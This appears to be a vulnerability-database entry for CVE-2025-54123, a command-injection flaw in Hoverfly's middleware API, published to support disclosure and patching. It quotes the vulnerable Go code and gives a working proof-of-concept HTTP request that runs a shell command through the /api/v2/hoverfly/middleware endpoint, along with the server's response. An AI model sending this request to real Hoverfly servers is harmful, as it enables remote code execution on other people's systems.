CVE-2025-54123 — Vulnerability in SpectoLabs/hoverfly — CVE Details
Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation
What Should I Do?
Low-to-Moderate Risk
Exploitation probability is 15.67% in 30 days. Address in your next planned sprint.
Does your project use an affected github.com/SpectoLabs/hoverfly version?
Paste your go.sum to check it for CVE-2025-54123 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.
Details
The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.
This issue is born due to combination of three code level flaws:
- Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
this.Binary = binary // No validation of binary parameter here
return nil
}
- Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary) // User-controlled binary
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // User-controlled binary and script
}
- Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData) // Executes middleware immediately for testing
POC
- Send the below HTTP PUT request to
http://localhost:8888in order to create our malicious middleware, this will execute a simplewhoamicommand on target. (ADMIN UI/API)
Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101
{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8
{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}
(Here, the user is kr1shna4garwal)
Impact
This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.
Reporter: @kr1shna4garwal
Advisory Timeline
- First published September 10, 2025 (442 days ago).
- Last revised September 17, 2025 — 7 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/SpectoLabs/hoverfly Go · Affected: All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmfWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-54123ADVISORY
- https://github.com/SpectoLabs/hoverfly/pull/1203WEB
- https://github.com/SpectoLabs/hoverfly/commit/17e60a9bc78826deb4b782dca1c1abd3dbe60d40WEB
- https://github.com/SpectoLabs/hoverfly/commit/a9d4da7bd7269651f54542ab790d0c613d568d3eWEB
- https://github.com/SpectoLabs/hoverflyPACKAGE
- https://github.com/SpectoLabs/hoverfly/blob/master/core/hoverfly_service.go#L173WEB
- https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/local_middleware.go#L13WEB
- https://github.com/SpectoLabs/hoverfly/blob/master/core/middleware/middleware.go#L93WEB
Frequently Asked Questions
- What is CVE-2025-54123?
- Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2025-54123?
- CVE-2025-54123 affects github.com/SpectoLabs/hoverfly. It has a 15.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54123 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This places it in the top 5% of EPSS-scored vulnerabilities — 97.5% of tracked vulnerabilities score at or below it, so it is far more likely to be exploited than nearly all other tracked vulnerabilities.
Also Known As
Related CVEs
- CVE-2026-104099CRITICAL
Fabio: Access-control bypass through unnormalized request paths
- CVE-2026-77369CRITICAL
Daptin: Broken Access Control (IDOR) in the generic YJS collaboration endpoint